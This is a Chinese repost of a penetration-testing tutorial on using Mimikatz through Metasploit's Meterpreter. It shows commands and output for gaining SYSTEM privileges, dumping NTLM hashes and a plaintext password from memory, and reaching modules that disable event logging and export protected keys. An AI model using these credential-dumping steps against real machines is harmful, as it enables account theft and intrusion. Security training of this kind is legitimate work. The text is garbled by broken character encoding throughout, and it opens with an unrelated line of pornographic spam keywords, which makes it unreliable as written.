偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

滲透測(cè)試工具M(jìn)imikatz ON Metasploit

安全 數(shù)據(jù)安全
看了各種文章講神器mimikatz,但是一直沒有講與metasploit使用的。Metasploit其實(shí)早就集成了mimikatz,現(xiàn)在將官方的文章翻譯給大家。

0x00 背景

看了各種文章講神器mimikatz,但是一直沒有講與metasploit使用的。Metasploit其實(shí)早就集成了mimikatz,現(xiàn)在將官方的文章翻譯給大家。

[[115338]]

Mimikatz是Benjamin Delpy (gentilkiwi)寫的非常棒的一款后滲透測(cè)試工具。在最初滲透階段之后的大多數(shù)時(shí)間里,攻擊者們可能是想在計(jì)算機(jī)/網(wǎng)絡(luò)中得到一個(gè)更堅(jiān)固的立足點(diǎn)。這樣做通常需要一組補(bǔ)充的工具。Mimikatz是一種將攻擊者想執(zhí)行的、最有用的任務(wù)捆綁在一起的嘗試。

幸運(yùn)地,metasploit已經(jīng)決定將其作為一個(gè)meterpreter腳本來集成mimikatz,允許方便地訪問它一系列的特性,而不需要上傳任何文件到被盜用主機(jī)的磁盤上。

Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已經(jīng)在他的網(wǎng)站上作為一個(gè)獨(dú)立的包發(fā)布了v2.0。這是有必要提出的,因?yàn)楹芏嗟恼Z法與升級(jí)到v2.0已經(jīng)改變了。

0x01 Loading Mimikatz

在得到一個(gè)meterpreter shell后,我們應(yīng)該確保我們的session是運(yùn)行在system權(quán)限以便讓mimikatz正常工作。

  1. meterpreter > getuid  
  2. Server username: WINXP-E95CE571A1\Administrator  
  3. meterpreter > getsystem  
  4. ...got system (via technique 1).  
  5. meterpreter > getuid  
  6. Server username: NT AUTHORITY\SYSTEM  
  7.  

Mimikatz支持32位和64位的windows架構(gòu)。在升級(jí)權(quán)限到system后,我們需要通過“sysinfo”命令來確認(rèn)目標(biāo)機(jī)器的架構(gòu)。這對(duì)于64位機(jī)器是有必要的,因?yàn)槲覀兛赡軙?huì)破壞一個(gè)32位的進(jìn)程在64位的架構(gòu)上。如果這樣的話,meterpreter將會(huì)嘗試加載32位版本的mimikatz到內(nèi)存,將可能會(huì)使得大部分的特性不可用。這可以通過查看正在運(yùn)行的進(jìn)程列表以及在加載mimikatz之前遷移到64位進(jìn)程來避免。

  1. meterpreter > sysinfo  
  2. Computer : WINXP-E95CE571A1  
  3. OS : Windows XP (Build 2600, Service Pack 3).  
  4. Architecture : x86  
  5. System Language : en_US  
  6. Meterpreter : x86/win32  
  7. 既然這是一個(gè)32位機(jī)器,我們可以加載mimikatz模塊進(jìn)內(nèi)存:  
  8. meterpreter > load mimikatz  
  9. Loading extension mimikatz...success.  
  10. meterpreter > help mimikatz  
  11. # Mimikatz Commands  
  12. Command Description  
  13. ------- -----------  
  14. kerberos Attempt to retrieve kerberos creds  
  15. livessp Attempt to retrieve livessp creds  
  16. mimikatz_command Run a custom commannd  
  17. msv Attempt to retrieve msv creds (hashes)  
  18. ssp Attempt to retrieve ssp creds  
  19. tspkg Attempt to retrieve tspkg creds  
  20. wdigest Attempt to retrieve wdigest creds 

Metasploit提供給我們一些內(nèi)建的命令來查看mimikatz的最常用的功能:從內(nèi)存中導(dǎo)出hash以及明文證書。Mimikatz_command選項(xiàng)可以讓我們使用mimikatz的全部特性。

  1. meterpreter > mimikatz_command -f version  
  2. mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02) 

盡管有些不同尋常,我們?nèi)匀豢梢酝ㄟ^嘗試加載一個(gè)不存在的特性來得到可用模塊的完整列表:

  1. meterpreter > mimikatz_command -f fu::  
  2. Module : 'fu' introuvable  
  3. Modules disponibles :  
  4. - Standard  
  5. crypto - Cryptographie et certificats  
  6. hash - Hash  
  7. system - Gestion système  
  8. process - Manipulation des processus  
  9. thread - Manipulation des threads  
  10. service - Manipulation des services  
  11. privilege - Manipulation des privilèges  
  12. handle - Manipulation des handles  
  13. impersonate - Manipulation tokens d'accès  
  14. winmine - Manipulation du démineur  
  15. minesweeper - Manipulation du démineur 7  
  16. nogpo - Anti-gpo et patchs divers  
  17. samdump - Dump de SAM  
  18. inject - Injecteur de librairies  
  19. ts - Terminal Server  
  20. divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  21. sekurlsa - Dump des sessions courantes par providers LSASS  
  22. efs - Manipulations EFS 

我們可以使用如下的語法來請(qǐng)求某個(gè)模塊可用的選項(xiàng):

  1. meterpreter > mimikatz_command -f divers::  
  2. Module : 'divers' identifié, mais commande '' introuvable  
  3. Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module  
  4. noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage  
  5. eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer  
  6. cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session  
  7. secrets - Affiche les secrets utilisateur 

0x02 從內(nèi)存中讀取hash和密碼

我們既可以使用metasploit內(nèi)建的命令也可以使用mimikatz自帶的命令來從目標(biāo)機(jī)器上導(dǎo)出hash和明文證書。

Built-In Metasploit: msv credentials

  1. meterpreter > msv  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving msv credentials  
  4. msv credentials 
  5. ===============  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }  
  10. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }  
  11. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)  
  12. 0;56683  NTLM                                          n.s. (Credentials KO)  
  13. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO) 

kerberos credentials

  1. meterpreter > kerberos  
  2. [+] Running as SYSTEM  
  3. [*] Retrieving kerberos credentials  
  4. kerberos credentials 
  5. ====================  
  6.    
  7. AuthID   Package    Domain           User              Password  
  8. ------   -------    ------           ----              --------  
  9. 0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$    
  10. 0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE       
  11. 0;56683  NTLM                                            
  12. 0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE     
  13. 0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword 

Native Mimikatz:

  1. meterpreter > mimikatz_command -f samdump::hashes  
  2. Ordinateur : winxp-e95ce571a1  
  3. BootKey    : 553d8c1349162121e2a5d3d0f571db7f  
  4.    
  5. Rid  : 500  
  6. User : Administrator  
  7. LM   :   
  8. NTLM : d6eec67681a3be111b5605849505628f  
  9.    
  10. Rid  : 501  
  11. User : Guest  
  12. LM   :   
  13. NTLM :   
  14.    
  15. Rid  : 1000  
  16. User : HelpAssistant  
  17. LM   : 6165cd1a0ebc61e470475c82cd451e14  
  18. NTLM :   
  19.    
  20. Rid  : 1002  
  21. User : SUPPORT_388945a0  
  22. LM   :   
  23. NTLM : 771ee1fce7225b28f8aec4a88aea9b6a  
  24.    
  25. meterpreter > mimikatz_command -f sekurlsa::searchPasswords  
  26. [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword } 

<前面一句命令在密碼超過14位時(shí)LM會(huì)為空,后一句命令可以得到明文>

0x03 其他的模塊

Mimikatz的一些其他模塊包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是幾個(gè)使用實(shí)例:

Handle模塊可以用來list/kill進(jìn)程以及模擬用戶令牌:

  1. meterpreter > mimikatz_command -f handle::  
  2. Module : 'handle' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des handles  
  5.         list    - Affiche les handles du système (pour le moment juste les processus et tokens)  
  6.  processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles  
  7. tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles  
  8.      nullAcl    - Positionne une ACL null sur des Handles  
  9.    
  10. meterpreter > mimikatz_command -f handle::list  
  11. ...snip...  
  12.   760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE  
  13.   760  lsass.exe                 ->  1008       Process 704     winlogon.exe  
  14.   760  lsass.exe                 ->  1052       Process 980     svchost.exe  
  15.   760  lsass.exe                 ->  1072       Process 2664    fubar.exe  
  16.   760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE  
  17.   760  lsass.exe                 ->  1096       Process 704     winlogon.exe  
  18.   760  lsass.exe                 ->  1264       Process 1124    svchost.exe  
  19.   760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON  
  20.   760  lsass.exe                 ->  1276       Process 1804    psia.exe  
  21.   760  lsass.exe                 ->  1352       Process 480     jusched.exe  
  22.   760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe  
  23.   760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator  
  24. ...snip... 

Service模塊讓你可以list/start/stop以及remove windows服務(wù):

  1. meterpreter > mimikatz_command -f service::  
  2. Module : 'service' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Manipulation des services  
  5.         list    - Liste les services et pilotes  
  6.        start    - Démarre un service ou pilote  
  7.         stop    - Arrête un service ou pilote  
  8.       remove    - Supprime un service ou pilote  
  9.     mimikatz    - Installe et/ou démarre le pilote mimikatz  
  10.    
  11. meterpreter > mimikatz_command -f service::list  
  12. ...snip...  
  13.         WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry  
  14.         KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)  
  15.         WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator  
  16.   980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)  
  17.         WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP  
  18.   760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager  
  19.         WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card  
  20.  1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler  
  21.         KERNEL_DRIVER   STOPPED Secdrv  Secdrv  
  22.  1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon  
  23.  1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent  
  24.  3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent  
  25. ...snip... 

Crypto模塊允許你list、export任何證書,以及儲(chǔ)存在目標(biāo)機(jī)器上相應(yīng)的私鑰:

  1. meterpreter > mimikatz_command -f crypto::  
  2. Module : 'crypto' identifié, mais commande '' introuvable  
  3.    
  4. Description du module : Cryptographie et certificats  
  5. listProviders   - Liste les providers installés)  
  6.   listStores    - Liste les magasins système  
  7. listCertificates        - Liste les certificats  
  8.     listKeys    - Liste les conteneurs de clés  
  9. exportCertificates      - Exporte les certificats  
  10.   exportKeys    - Exporte les clés  
  11.     patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable  
  12.    patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable  
  13.    
  14. meterpreter > mimikatz_command -f crypto::listProviders  
  15. Providers CryptoAPI :  
  16.         Gemplus GemSAFE Card CSP v1.0  
  17.         Infineon SICRYPT Base Smart Card CSP  
  18.         Microsoft Base Cryptographic Provider v1.0  
  19.         Microsoft Base DSS and Diffie-Hellman Cryptographic Provider  
  20.         Microsoft Base DSS Cryptographic Provider  
  21.         Microsoft Base Smart Card Crypto Provider  
  22.         Microsoft DH SChannel Cryptographic Provider  
  23.         Microsoft Enhanced Cryptographic Provider v1.0  
  24.         Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider  
  25.         Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)  
  26.         Microsoft RSA SChannel Cryptographic Provider  

Mimikatz也包含許多新奇的特性。最重要的一個(gè)就是能夠在經(jīng)典的windows掃描游戲中,直接從內(nèi)存中讀地雷的位置。

 

enter image description here

 

  1. meterpreter > mimikatz_command -f winmine::infos  
  2. Mines           : 99  
  3. Dimension       : 16 lignes x 30 colonnes  
  4. Champ           :   
  5.    
  6.          . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *  
  7.          . . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .  
  8.          . * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .  
  9.          . . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .  
  10.          . . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .  
  11.          . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .  
  12.          . . . . . . . . . . . * . . . . . * . . . . . * * . . . . .  
  13.          . . . * . * . . . . . * . * . . . . * . . . . * . . . . . .  
  14.          . . . . . * * . * . * . * . * * . * * * . . . . . . . . * .  
  15.          * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .  
  16.          . . . . * * * 1         1 . . * * . . . * . . . . . . * . *  
  17.          . . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .  
  18.          . . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .  
  19.          . . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .  
  20.          . . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .  
  21.          . * . . . . . * . . . * . 1           1 . * . . . . . . . *  

from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識(shí)庫
相關(guān)推薦

2013-11-06 16:38:59

2019-02-26 08:30:48

2012-01-13 15:55:51

2014-11-12 09:24:00

2019-04-03 14:39:28

2017-09-26 08:51:25

2021-12-24 11:50:57

滲透測(cè)試工具安全工具 防御系統(tǒng)

2011-06-16 09:38:33

2015-07-15 09:30:07

2014-11-13 13:15:17

2016-02-16 13:27:20

2014-11-26 09:15:20

2010-12-27 09:19:23

2020-09-27 16:37:13

滲透測(cè)試工具安全

2013-08-29 17:09:21

2023-07-29 00:10:48

2021-01-21 09:25:22

網(wǎng)絡(luò)安全滲透測(cè)試工具

2025-04-02 09:17:08

2015-02-27 16:10:25

2018-10-21 08:14:49

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)